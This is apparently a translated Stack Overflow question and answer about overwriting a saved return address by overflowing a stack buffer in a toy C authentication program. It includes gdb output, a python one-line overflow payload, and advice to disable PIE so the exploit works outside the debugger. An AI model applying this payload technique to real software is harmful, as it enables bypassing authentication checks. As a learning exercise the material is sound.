无法覆盖 gdb 之外的返回地址

标签 c gdb overflow

我尝试使用堆栈上的缓冲区溢出来 重定向返回地址。我的目标是覆盖“check_auth”函数中的返回地址,主要在第 22 行继续(“printf(“GRANTED\n”);”)。这是 C 代码:

fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <string.h>
4   
5       int check_auth(char *pass){
6           char pass_buff[16];
7           int auth_flag = 0;
8           strcpy(pass_buff, pass);
9   
10          if(strcmp(pass_buff, "yes") == 0)
(gdb) 
11              auth_flag = 1;
12          return auth_flag; 
13      }
14  
15      int main( int argc, char *argv[]){
16          if(argc < 2){
17              printf("Usage: %s <password>\n\n", argv[0]);
18              exit(0);
19          }
20          if(check_auth(argv[1])){
(gdb) 
21              printf("ACCESS\n");
22              printf("GRANTED\n");
23          }
24          else{
25              printf("\n Access Denied\n");
26          }
27          return 0;
28      }

我在 64 位 Debian 系统上使用 gdb 来调试代码。 我的问题是,覆盖在 gdb 之外不起作用。

我知道,指向 main 的返回地址和输入变量(pass_buff)的开头是 40 个字节。

 (gdb) i f 
 Stack level 0, frame at 0x7fffffffe170:
 rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
 called by frame at 0x7fffffffe190
 source language c.
 Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
 Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
 Saved registers:
 rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40

所以,当我这样做时:

(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED

Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, 
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28      }

但是当我在没有 gdb 的情况下这样做时它不起作用:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault

我该怎么做才能使这项工作成功?

我也尝试通过重复地址来做到这一点,但这里的问题是,我无法打印空字节:

(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156  0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141  0x4141414141414141
0x7fffffffe150: 0x4141414141414141  0x4141414141414141
0x7fffffffe160: 0x4141414141414141  **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268  0x0000000200000000
0x7fffffffe180: 0x0000555555554840  0x00007ffff7a57561

为了使地址合适,我需要添加\x00\x00 但随后我得到:

fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault

有没有办法像这样重复地址?

提前感谢您的帮助

最佳答案

我不知道您的开发环境中的确切build设置,但我可以猜到一些问题。

  • 在当前的 Linux 环境中,PIE(位置独立执行)已启用。这意味着,您的目标地址并不总是 0x0000555555554810。要检查这一点,请将此代码添加到主要功能:

    printf("CODE: %p\n", (void*)main);
    

    如果此代码每次都生成相同的地址,则 PIE 被禁用。

  • argv 参数不能包含 NULL 字节(字符串结尾除外)。但这不是关键问题,因为在 x86-64 系统上,它们仅使用 6 个低字节作为虚拟地址。

要禁用 PIE 构建:使用 -no-piegcc main.c -o main -no-pie

关于无法覆盖 gdb 之外的返回地址,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48068964/

相关文章:

gcc - gdb不显示源文件

html - 我在扩展父 div 以适应其内容时遇到问题

html - 溢出:隐藏;保留内容宽度但隐藏内容:Chrome

c - 这种技术的名称是什么?它是否违反了严格的别名规则或调用了 UB?

iphone - Xcode,某些子类没有调试符号

c - C中的内存泄漏,函数内部的malloc

macos - macOS Mojave 10.14.2 上的 gdb

css - 使用 iframe 时,如何始终保持最大高度 Angular 4

有条件地设置或清除位

c - 通过结构体指针将信息扫描到结构体?